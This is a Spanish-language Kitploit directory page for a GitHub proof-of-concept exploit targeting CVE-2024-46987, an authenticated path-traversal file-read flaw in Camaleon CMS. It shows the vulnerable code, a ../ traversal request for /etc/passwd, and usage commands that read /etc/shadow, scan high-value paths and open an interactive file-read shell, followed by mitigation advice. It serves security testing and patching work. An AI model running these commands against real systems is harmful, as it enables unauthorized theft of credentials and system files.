Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-46987 — PoC exploit para CVE-2024-46987 — Camaleon CMS recorrido de ruta arbitrario (lectura de archivos) | Kitploit
Herramientas/GitHubGitHub/blueberryp1ll/cve-2024-46987
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubblueberryp1ll/cve-2024-46987

CVE-2024-46987

PoC exploit para CVE-2024-46987 — Camaleon CMS recorrido de ruta arbitrario (lectura de archivos)

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-46987 — Recorrido Arbitrario de Rutas en Camaleon CMS

Solo para evaluaciones de seguridad autorizadas, pruebas de penetración e investigación educativa.

Resumen

CampoDetalle
CVECVE-2024-46987
ProductoCamaleon CMS
Versiones>= 2.8.0, < 2.8.2 (también confirmado en 2.9.0)
TipoPath Traversal / Lectura Arbitraria de Archivos (CWE-22)
AutenticaciónRequerida (cualquier cuenta de bajo privilegio)
CVSS7.7 Alta — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Corregido en2.8.2

Vulnerabilidad

MediaController#download_private_file pasa params[:file] sin sanitizar a fetch_file:

root@kitploit:~
# Vulnerable sink
fetch_file("private/#{params[:file]}")

No se aplica normalización de ruta antes de usar el valor con send_file, lo que permite a un atacante autenticado salir del directorio private/ usando secuencias ../ y leer archivos arbitrarios a los que el proceso de Rails tenga permiso de acceso.

Endpoint vulnerable:

root@kitploit:~
GET /admin/media/download_private_file?file=../../../../../../etc/passwd

Requisitos

  • Python 3.8+
  • Librería requests
root@kitploit:~
pip3 install requests

Uso

root@kitploit:~
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
                         [-P PASSWORD] [-f FILE] [-d DEPTH]
                         [--interesting] [--interactive]
                         [--no-verify] [--debug]

Autenticación basada en credenciales

root@kitploit:~
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password

# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow

# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting

# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive

Reutilizar una sesión existente (desde Burp Suite / DevTools del navegador)

root@kitploit:~
# Single file
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX" -f /etc/passwd

# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
  --cookie "_app_session=XXXX; auth_token=YYYY" --interactive

Opciones

BanderaDescripción
-uURL base del objetivo
-U / -PUsuario y contraseña del CMS
--cookieCadena de cookie sin procesar (alternativa a las credenciales)
-fRuta del archivo a leer (por defecto: /etc/passwd)
-dProfundidad de traversal — número de ../ antepuestos (por defecto: 10)
--interestingIterar sobre la lista incorporada de rutas de alto valor
--interactiveShell interactivo de lectura de archivos
--no-verifyDeshabilitar verificación del certificado TLS
--debugSalida detallada para diagnosticar fallos de autenticación

Notas sobre los pseudoarchivos /proc

Los archivos bajo /proc/self/ (por ejemplo, environ, cmdline) devuelven HTTP 200 pero un cuerpo vacío. Esto es esperado — el kernel reporta su tamaño como 0, por lo que send_file de Rails no transmite nada. Utilice archivos planos regulares en su lugar.

Mitigación

Actualice Camaleon CMS a la versión 2.8.2 o posterior. El parche agrega una normalización de ruta adecuada y garantiza que la ruta resuelta permanezca dentro del directorio previsto antes de llamar a send_file.

Alternativamente:

  • Normalice todas las rutas de archivo proporcionadas por el usuario antes de usarlas.
  • Rechace cualquier entrada que contenga secuencias ...
  • Aplique el principio de privilegio mínimo al usuario del SO que ejecuta el proceso de Rails.

Referencias

  • GHSA-cp65-5m9r-vc2c — Aviso de GitHub
  • GHSL-2024-183 — Laboratorio de Seguridad de GitHub
  • NVD — CVE-2024-46987

Aviso legal

Esta prueba de concepto se publica con fines educativos y para ayudar a los profesionales de seguridad a comprender y reproducir la vulnerabilidad en entornos de prueba autorizados. El autor no es responsable de ningún uso indebido. Siempre obtenga permiso explícito por escrito antes de probar sistemas que no posea.

Descargar herramienta